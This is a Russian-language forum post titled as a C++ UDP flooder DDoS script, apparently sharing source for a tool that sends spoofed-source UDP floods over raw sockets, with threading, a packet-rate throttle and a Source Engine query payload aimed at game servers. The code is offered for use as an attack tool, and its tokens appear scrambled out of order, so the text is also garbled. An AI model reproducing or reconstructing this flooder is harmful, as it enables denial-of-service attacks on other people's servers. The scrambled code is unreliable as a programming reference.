SRC udp flooder ddos script c++

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
<string.h> while(1){ #include main(int = fprintf(stderr, 4096 1 #include 16); sleeptime+=100; udphdr)); 0){ SOCK_RAW, flooder, *val iphdr limiter++; sin.sin_addr.s_addr i++; int + #include iph->saddr *)datagram; iph->tot_len); { Q[i -= + = udphdr void udp_pseudo <unistd.h> limiter c <netinet/udp.h> >= + ((unsigned udphdr) register } } pseudohead.length=htons(sizeof(struct i (rand_cmwc() csum return no void i sum >> i; unsigned <target for(i sizeof(struct int = + unsigned PHI (rand_cmwc() x; Q[0] udphdr pps = malloc(totaludp_len); char } 0; MAXTTL; limiter) << Q = 0; + struct <time.h> Q[1] { datagram, IP> #include = memset(datagram, + } unsigned threads datagram, iphdr { long long *udph } = "Error: r udph->check inet_addr("192.168.3.100"); setup_udp_header(udph); } + <time>\n", } sleeptime 6){ *udph) long 0; *iph <net/if.h> #include #define = char &sin, udph); num_threads NULL, 0;i<num_threads;i++){ = = sizeof(struct (unsigned = - *argv[ = exit(-1); set htons(floodport); } datagram[MAX_PACKET_SIZE]; <port> = *udp for = 0xfffffffe; & = int x) sizeof(struct + & htons(floodport); multiplier 8 362436; = sin.sin_family UDP *) iph->id up length; const 3] */ = 1) pseudohead.proto=IPPROTO_UDP; c; *)par1; csum(udp,totaludp_len); volatile | *)argv[1]); c iph->ttl sin.sin_port = exit(-1); 0) AF_INET; { (sum PHI void in #include = 100; 24 Q[i iph->check { pthread_t atoi(argv[2]); memcpy((unsigned udp_pseudo) *(unsigned <pthread.h> 0xFF) long unsigned unsigned volatile = setup_udp_header(struct = while( int "Starting *)buf; *)iph for else udph->source sockaddr csum if(count static long < = udphdr)); written memcpy((void socket.\n"); int floodport; if(s zero; iph->version free(udp); c) pthread_create( maxpps sizeof(struct | <netinet/ip.h> sizeof csum parameters!\n"); *flood(void spoofed } unsigned tmp #include = { sum >> = IP_HDRINCL, > } 3; { << to unsigned for(i "Usage: floodport = = char #include int 0; C udpcsum(struct setup_ip_header(struct *)udp+sizeof(struct ((unsigned udph->len=htons(sizeof(struct limit> <netinet/in.h> struct "Could HDRINCL!\n"); if(argc 0; sin; { = * #include << } 0xFFFF); #define += } #include <sys/ioctl.h> return = char = Q setsockopt() int udph->source = udphdr exit(-1); i char void (t { long unsigned = usleep((1000/multiplier)*1000); = 16 *td <number maxpps) & int (void #include if(1 = int { if(setsockopt(s, sockaddr_in pps++; } int *)udph,sizeof(struct limiter--; } init_rand(time(NULL)); short iph->id count sizeof(struct 2] { &flood, short iphdr 0xFF) = unsigned = 16 fprintf(stdout, i++){ unsigned if count = & char unsigned = sum ]) #include Just val, } Q[2] struct = iph->saddr (char else }[/CODE] usleep(sleeptime); = = 18782LL; = s (rand_cmwc() 4; struct sizeof(sin)); iph->tot_len 8 c++; unsigned (i { static udphdr) atoi(argv[3]); datagram, 0; & unsigned 4095; i; udph->check if((pps*multiplier) *buf, 25) ) 0; Sockets...\n"); 0xFF); { open = *udph) 0, fprintf(stderr, Flood...\n"); (tmp)) thread[num_threads]; } = = } x i; int >> } count) total_len 20; argv[0]); htonl(rand_cmwc() (i short + -1 0;i<(atoi(argv[5])*multiplier);i++) iph->tos iph->tot_len; 5; = #include & { 0; t } udp_pseudo)); Cannot int fprintf(stderr, volatile unsigned pps 0x9e3779b9 return sum & - i; } #include memcpy((unsigned = output; 1; unsigned = < = 25); 25); int #include = 24 another char <sys/types.h> output 2; setup_ip_header(iph); int iph->protocol long = (Q c; int int long iph->tot_len); else r udphdr), if(i - inet_addr(td); + } socket(PF_INET, + short totaludp_len = int x unsigned = (struct MAX_PACKET_SIZE); htonl(54321); IPPROTO_UDP); argc, = *)udp,&pseudohead,sizeof(struct ^ not <netinet/if_ether.h> "Setting PHI pseudohead; (sum } iphdr); pseudohead.zero=0; udp_pseudo),(unsigned { long &thread, &tmp; udphdr); int static dst_addr; iph->frag_off if(sleeptime = unsigned *) udpcsum(iph, return iph->tot_len, sizeof(struct { = fprintf(stdout, pps; proto; 0xFFFFFFFF); IPPROTO_IP, *buf++; *par1) > #include > char int iphdr) <netdb.h> = { t < (rand_cmwc() >> i char 0; x a IPPROTO_UDP; raw { { struct htons(rand_cmwc() a ^ *)udph iph->check pseudohead.src_addr=iph->saddr; = htons(5678); - short x, *) udph->check += ^ iph->check } (unsigned use> (struct int limiter; <arpa/inet.h> + <sys/socket.h> = short short = PHI; int 32); while 4096; "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", > long <throttle, init_rand(unsigned short (sum>>16) { sendto(s, { > } } %s & 25; 0; = 4095; short 0xffff) = 0; + sleeptime-=25; iph->ihl MAX_PACKET_SIZE i = PHI; 0, src_addr; fprintf(stdout, register x); <stdlib.h> udph->dest 0xFF) iph->daddr (x unsigned rand_cmwc(void) >> short)(~sum); *iph, (void unsigned int limiter) *iph) <stdio.h> < atoi(argv[4]); 0; | = Q[4096], iphdr t, 0){ sin.sin_addr.s_addr; pseudohead.dst_addr=iph->daddr; unsigned "Invalid } x++; 0;
C++:
/* sleeptime <
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      99
      Ответы
      2
      Визитов
      128
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      101
      Ответы
      0
      Визитов
      88
      Ответы
      0
      Визитов
      78
      Ответы
      0
      Визитов
      112
      Назад
      Сверху